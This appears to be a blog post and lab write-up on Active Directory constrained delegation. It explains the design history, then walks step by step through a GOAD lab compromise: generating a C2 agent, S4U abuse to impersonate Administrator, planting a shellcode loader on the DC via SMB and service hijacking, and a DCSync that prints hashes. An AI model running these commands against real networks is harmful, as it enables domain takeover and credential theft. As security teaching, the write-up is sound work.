notes on constrained delegation

Constrained Delegation

I come from the Linux world, and AD still confuses me on a regular basis, delegation especially; these notes are my attempt to finally make sense of it. My last post was about RBCD. Constrained delegation is the classic version of the same idea: the frontend account decides which backends it may reach, and its msDS-AllowedToDelegateTo attribute contains a list of service names (SPNs) it is trusted to delegate to. When a user authenticates to the frontend, the frontend does S4U2Self (asks the KDC for a ticket for that user to itself), then S4U2Proxy (trades it for a ticket to one of the SPNs on its list), and ends up with a TGS that lets it act as the user against the backend.

Two details matter for us:

  1. The account doing S4U must have an SPN. S4U2Self is a service's trick, and only accounts that look like services (have SPNs) may use it. Machine accounts always have SPNs, user accounts normally do not.
  2. Protocol transition must be enabled (TrustedToAuthForDelegation, "use any authentication protocol"). If the account is configured "Kerberos only", the ticket S4U2Self returns is not forwardable, and S4U2Proxy has nothing to forward. Delegation entries without protocol transition are not exploitable through plain S4U abuse.

So as an attacker who holds a session of the delegated account, we don't need a real user at all: ask S4U2Self for Administrator -> ourselves, then S4U2Proxy for Administrator -> cifs/winterfell, and we walk away with Administrator's service ticket for the DC.

Which is exactly what I found in the lab: same GOAD as last time, on the same domain (jon.snow, winterfell, ...). Someone had misconfigured a service account:

  • jon.snow is a user account used as a service account: it has SPNs (CIFS/thewall, HTTP/thewall) and msDS-AllowedToDelegateTo: CIFS/winterfell, i.e. it is trusted (with protocol transition) to impersonate anyone against the DC's cifs service. This is the one we can use.
  • CASTELBLACK$, the computer we are sitting on, also has msDS-AllowedToDelegateTo: HTTP/winterfell -- but it is "Kerberos only". Even if we had the machine account secret, S4U2Self would give us a non-forwardable ticket and S4U2Proxy would refuse it. Not exploitable in this scenario, so we can ignore it.

We have a logon session as jon.snow on castelblack, which is all we need to make the KDC do S4U on his behalf. His delegation target is the DC's cifs service, so with an Administrator cifs ticket we can read and write the whole DC filesystem -- enough to get code running on it as SYSTEM.

Why delegation is like this

Before the attack, it's worth knowing why any of this exists, because the design of AD doesn't make sense at all. When I first looked at delegation, I assumed I was too stupid to understand advanced Microsoft technology; now, I've concluded it's mostly just classic Microsoft -- the kind of "if it works, don't touch it" engineering that never breaks anything, only adds to it. AD is confusing like that, just like most of their products (remember how they kept the name System32 in 64-bit Windows). AD is Kerberos underneath: the domain controller is the KDC, users get TGTs at logon, and every service gets a ticket that only it can decrypt. Services cannot hand identities to each other -- that's the whole point of the ticket design. But real applications don't work that way. The classic case is the "double hop": a user logs into a web server, and the web server then has to reach a file server or a SQL server for that user. The backend never saw the user authenticate, and it will not accept anything the frontend cooks up on its own (because guess what? the backend needs to know whether the user holds the permission or not, and the user cannot authenticate themselves on it). Delegation is the Kerberos mechanism that lets the frontend act as the user against the backend, and Windows has been reworking it roughly once per server generation ever since it was introduced:

  1. Windows 2000: unconstrained delegation. Kerberos tickets can be marked forwardable. In the original design the frontend simply got the user's forwardable TGT and could then impersonate that user to any service in the domain. Simple, and the most dangerous version: whoever compromises the frontend can impersonate every user that ever used it, everywhere, for as long as the tickets are valid. It still exists today, and I have yet to see a good reason for it.

  2. Windows Server 2003: constrained delegation. To limit the blast radius, the frontend account no longer gets the user's TGT. Instead the account carries msDS-AllowedToDelegateTo, the list of backend SPNs it may reach, and the KDC refuses S4U2Proxy requests outside that list. This is the mechanism we abuse below. The tradeoffs are baked into the design: the list lives on the frontend account, so configuring it normally needs a domain admin; the list is static, so renaming a backend breaks it; and the account is a single point of failure -- whoever controls it can impersonate any user against everything on its list. If the list contains the DC's cifs, that's domain compromise in one step.

  3. S4U, same era: protocol transition. Constrained delegation assumed the user actually authenticated with Kerberos, so there was a real forwardable ticket to forward. Real apps get their users from NTLM, forms, or certificates, so often there is no such ticket. The S4U extensions fixed that, and gave us some of the worst names in Kerberos while at it. S4U stands for "service for user", so S4U2Self is "service for user to self" and S4U2Proxy is "service for user to proxy" -- they read like license plates, and googling the full names doesn't help: is "service for user to self" even English, or some weird riddle? For the record: S4U2Self lets the service ask the KDC for a ticket for a user to the service itself, and S4U2Proxy trades it for a ticket to one of the delegated backend SPNs. Both requests are made by the service in its own name, with no user input involved. Whether the S4U2Self ticket is forwardable -- and therefore whether S4U2Proxy will accept it -- depends on the account's "use any authentication protocol" setting (TrustedToAuthForDelegation, protocol transition). With it, the service can impersonate any user on demand, including users who never touched it. Without it ("Kerberos only"), the ticket is not forwardable and the trick fails. That is exactly the difference between jon.snow (protocol transition on, exploitable) and CASTELBLACK$ (Kerberos only, dead end) in this lab. It also explains why the delegated account needs an SPN in the first place: only accounts with an SPN may use S4U2Self.

  4. Windows Server 2012: RBCD. Constrained delegation's list sits on the frontend account, which means granting a web server delegation to, say, a SQL instance always involves a domain admin, even when the app owner and the DB owner are the same team. RBCD moves the list to the backend object instead, as msDS-AllowedToActOnBehalfOfOtherIdentity: the resource's own attribute says which accounts may impersonate users against it. That is cleaner to administer, and it is the attack from my last post.

If you have ever configured any of this through the GUI (the "Delegation" tab in Active Directory Users and Computers), you know what I mean: checkbox descriptions I have to read twice every single time, because "use Kerberos only" vs "use any authentication protocol" is the difference between "only users who actually showed up can be impersonated" and "anyone, on demand, without ever logging in". Get one SPN wrong and nothing works, and the error message won't tell you why. And the feature names don't help either: someone decided "service for user to self" and "service for user to proxy" were acceptable names for "conjure an identity for anyone, then forward it to whatever service you're allowed to reach". So when you stare at two attributes with almost identical names -- msDS-AllowedToDelegateTo on the account doing the delegating, msDS-AllowedToActOnBehalfOfOtherIdentity on the resource being delegated to -- plus delegation checkboxes whose wording decides whether users have to show up before they can be impersonated, this is why. Every layer fixed a real problem in the layer before it, resting on Kerberos primitives from the 1990s -- and none of it was ever redesigned as a whole.

The attack

I will assume we already have an agent running as jon.snow on his machine, which is the situation described above.

Generate an agent

First, generate a Windows agent DLL and run it as jon.snow (eg. via rundll32).

generate --cc 192.168.57.1 --type windows_dll --p2p --direct-c2

Once it calls back, we have a shell as castelblack\NORTH\jon.snow. We will need a second agent later for the DC, so generate that one too now (we only need its shellcode a2.bin, which emp3r0r produces next to the DLL).

Find the delegation

AD will happily tell you which accounts are trusted for delegation: they carry msDS-AllowedToDelegateTo, and one ldapsearch filter finds all of them:

ldapsearch --query '((msDS-AllowedToDelegateTo=*))' --attributes 'samAccountName,msDS-AllowedToDelegateTo,userAccountControl'

exactly two accounts in the domain are trusted for delegation

retrieved 2 results total -- that's the entire delegation surface of this domain:

userAccountControl: 16843264
sAMAccountName: jon.snow
msDS-AllowedToDelegateTo: CIFS/winterfell, CIFS/winterfell.north.sevenkingdoms.local
--------------------
userAccountControl: 4096
sAMAccountName: CASTELBLACK$
msDS-AllowedToDelegateTo: HTTP/winterfell, HTTP/winterfell.north.sevenkingdoms.local

Both carry the same attribute, but the userAccountControl line tells them apart. 4096 is UF_WORKSTATION_TRUST_ACCOUNT (0x1000): CASTELBLACK$ is just a domain-joined machine, and there is no protocol transition bit (UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, 0x1000000) anywhere in that number. Its delegation is Kerberos-only, so S4U2Self would never return a forwardable ticket -- a dead end, even though it's the box we are sitting on. jon.snow's 16843264, on the other hand, decodes as UF_NORMAL_ACCOUNT (512) + UF_DONT_EXPIRE_PASSWORD (65536) + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (0x1000000): protocol transition is on, and his list points at the DC's cifs. That's our account.

For the graph view, we also dump the domain more broadly (users, machine accounts and groups -- 32 objects in this lab):

ldapsearch --query '(|(samAccountType=805306368)(samAccountType=805306369)(samAccountType=268435456))'

Reading 32 entries by hand is no fun, and since emp3r0r runs these modules as in-memory BOFs nothing touches the agent's disk anyway. We feed the dump to bofhound on the operator machine and look at it in BloodHound instead:

bofhound converts BOF output into BloodHound data

BloodHound draws the same conclusion: jon.snow is trusted for delegation to the DC (cifs/winterfell), with SPNs and protocol transition to back it up. One hop from jon.snow to the DC, which in practice means Domain Admin.

bloodhound: jon.snow -> winterfell via constrained delegation

Take a look at the tickets

Let's see what jon.snow has in his logon session:

kerbeus_triage
Action: List Kerberos Tickets (Current User)

--------------------------------------------------------------------------------------------------------------------------
| LUID        | Client                                   | Service                                  |            End Time |
--------------------------------------------------------------------------------------------------------------------------
| 0:0x7dc78   | jon.snow @ NORTH.SEVENKINGDOMS.LOCAL     | krbtgt/NORTH.SEVENKINGDOMS.LOCAL         | 09.09.2026 23:53:09 |
| 0:0x7dc78   | jon.snow @ NORTH.SEVENKINGDOMS.LOCAL     | ldap/winterfell.north.sevenkingdoms.local | 09.09.2026 23:53:09 |
| 0:0x7dc78   | jon.snow @ NORTH.SEVENKINGDOMS.LOCAL     | cifs/winterfell.north.sevenkingdoms.local/north.sevenkingdoms.local | 09.09.2026 23:53:09 |
--------------------------------------------------------------------------------------------------------------------------

Nothing special here: just a normal domain user, with the usual tickets to the DC he talks to all day. We don't have his password, and dumping tickets out of memory requires SYSTEM, which we don't have, so those tickets stay where they are. We grab his TGT the same way as in the RBCD walkthrough.

Get a usable TGT

kerbeus_tgtdeleg

This tricks the Kerberos GSS-API into giving out a usable TGT for the current user, without his password or hash, and without SYSTEM. We get our TGT as a base64 kirbi; save it on the operator machine and convert it to a ccache:

echo -n '<TGT base64>' | base64 -d > jon.snow.kirbi
ticketConverter.py jon.snow.kirbi jon.snow.ccache
export KRB5CCNAME=`pwd`/jon.snow.ccache

Impersonate Administrator against the DC

Now the S4U part. We authenticate as jon.snow (with the TGT we just got) and ask the KDC to impersonate Administrator against cifs/winterfell. Remember those two names from above, the "to self" and the "to proxy" ones. kerbeus_s4u does both legs for us:

kerbeus_s4u --params '/service:cifs/winterfell /impersonateuser:Administrator /ticket:<TGT base64>'
[*] Action: S4U

[*] Building S4U2self request for: 'jon.snow@NORTH.SEVENKINGDOMS.LOCAL'
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'jon.snow@NORTH.SEVENKINGDOMS.LOCAL'
[*] base64(ticket.kirbi): ...

[*] Impersonating user 'Administrator' to target SPN 'cifs/winterfell'
[*] Building S4U2proxy request for service: 'cifs/winterfell'
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/winterfell': <TGS base64>

Read the output top to bottom: S4U2Self first gets us a TGS for Administrator addressed to ourselves (jon.snow), then S4U2Proxy trades it for the one we actually want: Administrator's TGS for cifs/winterfell. Both steps only worked because of the two details from the beginning of this post: the KDC allows the second one only because jon.snow is trusted for delegation to that exact SPN, and the first one only returned a forwardable ticket because protocol transition is on for his account.

Use the ticket with emp3r0r

Back on the agent, no extra steps are needed: like every emp3r0r module, sa_dir accepts --user and --ticket, creating a disposable netonly logon session for Administrator (any password works, it is never validated) and attaching the TGS to it on the fly.

First, let's confirm the ticket is actually needed by listing the DC's C$ as plain jon.snow:

sa_dir --path '\\winterfell\c$\*'
[-] FindFirstFileW failed for \\winterfell\c$\*: error 5 (Access is denied.)

As expected, jon.snow cannot read the DC's admin shares. Now with the ticket:

sa_dir --path '\\winterfell\c$\*' --user 'NORTH/Administrator' --ticket '<TGS base64>'

directory listing of the DC C$ with the CIFS TGS

We can read the DC's filesystem as Administrator. And because this ticket is for cifs, "read" really means "read and write": we can drop files on the DC. That is all we need to get a shell on it.

Get a shell on the DC

Now let's get an agent on the DC. The plan is to build a one-shot service executable that loads our second agent, upload it to the DC over SMB with the cifs ticket, and start it as a service with scshell.

First, svc_loader turns the agent shellcode into a Windows service executable. The service starts, early-bird injects the RC4-encrypted shellcode into a sacrificial svchost.exe, verifies the child, then stops itself -- so we don't even need to leave a shellcode file on disk, just the loader:

svc_loader --shellcode '/home/goad/.emp3r0r/a2.bin'

generating the service shellcode loader

[+] svc_loader build:
    shellcode: /home/goad/.emp3r0r/a2.bin (6292115 bytes)
    arch:      x64
    process:   svchost.exe
    inject:    apc
    key:       random (generated)
    output:    /home/goad/.emp3r0r/a2_svc.exe
...
[+] wrote /home/goad/.emp3r0r/a2_svc.exe (6343168 bytes)

Next, stage the loader on the agent without ever touching its disk: put it into the agent's encrypted in-memory filesystem (memfs):

put --src 'a2_svc.exe' --dst 'memfs:///a2_svc.exe'
ls 'memfs:///'

a2_svc.exe staged in the agent's memfs

Now cifs_upload streams it from memfs straight onto the DC's C$ as Administrator. Don't bother passing a local path like C:\a2_svc.exe -- the module will just remind you that the destination must be a full UNC path under a share:

cifs_upload --ticket '<TGS base64>' --src 'memfs:///a2_svc.exe' --dest '\\winterfell\c$\a2_svc.exe' --user 'NORTH/Administrator'

cifs_upload pushing the loader to the DC

[*] cifs_upload: memfs:///a2_svc.exe  ->  \\winterfell\c$\a2_svc.exe
[*] Payload size: 6343168 bytes
[*] Uploaded 1048576/6343168 bytes (16%)
...
[+] Upload complete: 6343168 bytes -> \\winterfell\c$\a2_svc.exe

A quick dir on the same share confirms the file is there:

dir --targetdir '\\winterfell\c$\*' --user 'NORTH/Administrator' --ticket '<TGS base64>'

a2_svc.exe verified on the DC

Finally, scshell talks to the service manager over SMB/RPC: it points an existing service at our payload, starts it, and restores the original binary path. Unlike the file access above, it did not work on the first try -- our first attempts came back with OpenSCManagerA failed 5. After the dir call above, a retry went through:

scshell --payload 'C:\a2_svc.exe' --target 'winterfell' --ticket '<TGS base64>' --user 'NORTH/Administrator'
Trying to connect to winterfell
SC_HANDLE Manager 0x0000021979438270
Opening defragsvc
SC_HANDLE Service 0x0000021979438510
Original service binary path "C:\Windows\system32\svchost.exe -k defragsvc"
Service path was changed to "C:\a2_svc.exe"
Service was started
Service path was restored to "C:\Windows\system32\svchost.exe -k defragsvc"

A few seconds later, a new agent checks in from the DC itself:

Knock.. Knock... Agent "winterfell\\NORTH\\WINTERFELL$" is connected

SYSTEM agent on winterfell

agent list: jon.snow on castelblack, SYSTEM on winterfell

whoami confirms it: SYSTEM (SID S-1-5-18), in BUILTIN\Administrators, with SeTcbPrivilege and friends. From here we could do anything; for the rest of this demo we pivot through the DC agent and dump credentials with impacket from the operator machine.

Dump the domain

First, turn the DC agent into a SOCKS5 pivot, so our operator machine can reach the DC's services as if it were sitting inside the network:

socks_start 1080
SOCKS5 pivot started on port 1080 via agent winterfell\NORTH\WINTERFELL$-agent-94fac46a-...

Now let's look at the tickets on the DC. As SYSTEM we can list all logon sessions:

kerbeus_triage

kerbeus triage on the DC

Look at the 0x3e7 rows: that's the SYSTEM logon, and it holds WINTERFELL$'s own TGTs -- krbtgt/NORTH.SEVENKINGDOMS.LOCAL, plus even a cross-realm krbtgt/SEVENKINGDOMS.LOCAL for the forest root -- because the DC's machine account is itself a Kerberos client. We still don't have Administrator's password or TGT, only his cifs ticket, but that's fine: domain controllers are allowed to replicate, so WINTERFELL$'s own TGT is all we need to DCSync.

Let's dump that TGT out of the SYSTEM session. kerbeus_dump needs the logon id and the service name:

kerbeus_dump --params '/luid:3e7 /service:krbtgt'
[*] Target service  : krbtgt
[*] Target LUID     : 3e7

UserName                : WINTERFELL$
...
Flags                    :  forwardable renewable pre_authent enc_pa_rep
KeyType                  :  aes256_cts_hmac_sha1
...
[*] base64(ticket.kirbi): <TGT base64>

Save it and convert it to a ccache that impacket understands, just like before:

echo -n '<TGT base64>' | base64 -d > winterfell.kirbi
ticketConverter.py winterfell.kirbi winterfell.ccache
export KRB5CCNAME=`pwd`/winterfell.ccache

The operator machine can't reach 192.168.57.11 directly, so run impacket through proxy-ns, which pushes all traffic of the shell into the SOCKS5 pivot (same trick as in the RBCD walkthrough):

exec proxy-ns --dns-server=192.168.57.10 --fake-dns=false bash
secretsdump.py -dc-ip 192.168.57.11 -no-pass -k -just-dc -outputfile dcsync 'WINTERFELL$@winterfell.north.sevenkingdoms.local'

secretsdump authenticates as WINTERFELL$ with the TGT from the cache and asks the DC to replicate ntds.dit to us:

impacket secretsdump DCSync as WINTERFELL$

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::
...
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:e7aa0f8a649aa96fab5ed9e65438392bfc549cb2695ac4237e97996823619972
krbtgt:aes256-cts-hmac-sha1-96:ccfee6af120a03d33790c9afd5e07a689088f33bd851af05dd7460d1f8352ba4

Now we have the NT hash and AES keys of every account in NORTH.SEVENKINGDOMS.LOCAL, krbtgt included. From here on it's game over for the whole domain: pass-the-hash, overpass-the-hash, or forge golden tickets with the krbtgt key. Not bad for one misconfigured service account.


Comments

comments powered by Disqus